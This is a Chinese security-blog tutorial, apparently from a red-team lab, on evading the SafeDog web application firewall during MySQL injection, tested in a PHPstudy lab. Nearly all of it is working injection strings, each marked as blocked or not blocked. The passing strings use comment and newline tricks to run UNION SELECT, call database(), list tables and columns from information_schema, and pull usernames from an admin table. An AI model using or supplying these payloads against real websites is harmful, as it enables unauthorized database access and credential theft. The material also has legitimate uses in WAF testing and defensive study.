从0开始ByPass之Mysql注入篇

2022-08-11 7,944

前言

在做项目中遇到各种各样waf,跟着本文系列一起学习bypass。

安装

环境:win+PHPstudy+安全狗

过程

安装phpstudy需要以系统模式启动,否则安全狗无法识别安装防护插件。




进入主题

  1. 判断注入:

and 1=1 拦截

and -1=-1拦截

and /*/ /-- /*/1=1 不拦截


2.order by:

order by 1 拦截

order/*//*/ by 1 不拦截


3.联合查询

and 1=2 union select 拦截


注释+换行符绕过

 and /*/%0A*a*/1=2 union/*/ /-- /*/select 1,2 不拦截


4.爆库:

and /*/%0A*a*/1=2 union/*/ /-- /*/select%201,database() 拦截

and /*/%0A*a*/1=2 union/*/ /-- /*/select%201,database/*/ /-- /*/()不拦截


5.爆表:

用以上方法bypass绕过

/*!and*/ /*/%0A*a*/1=2 /**//**/union/*/ /-- /*/ /*/%0A*a*/select 1,table_name /*!from--/*information_schema.tables*/ /*//*/where table_schema=/*!database*//*/ /-- /*/() limit 0,1 不拦截

5.获取列名

%20/*!and*/%20/*/%0A*a*/1=2%20/**//**/union/*/%20/--%20/*/%20/*/%0A*a*/select%201,column_name%20/*!from--%0F/*%0Ainformation_schema.columns*/%20/*//*/where%20table_schema=/*!database*//*/%20/--%20/*/()%20limit%200,1 不拦截

6.获取字段:

union/*/%20/--%20/*/select%201,/*!username*/%20/*//*!--+*/from%20admin%20limit%201,1


总结

手法采用了大量注释+换行来达到bypass效果。

如文中有误请不吝指正

参考文献

https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI


本文作者:刑天攻防实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/185166.html

Tags:
评论  (0)
快来写下你的想法吧!

刑天攻防实验室

文章数:1 积分: 0

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号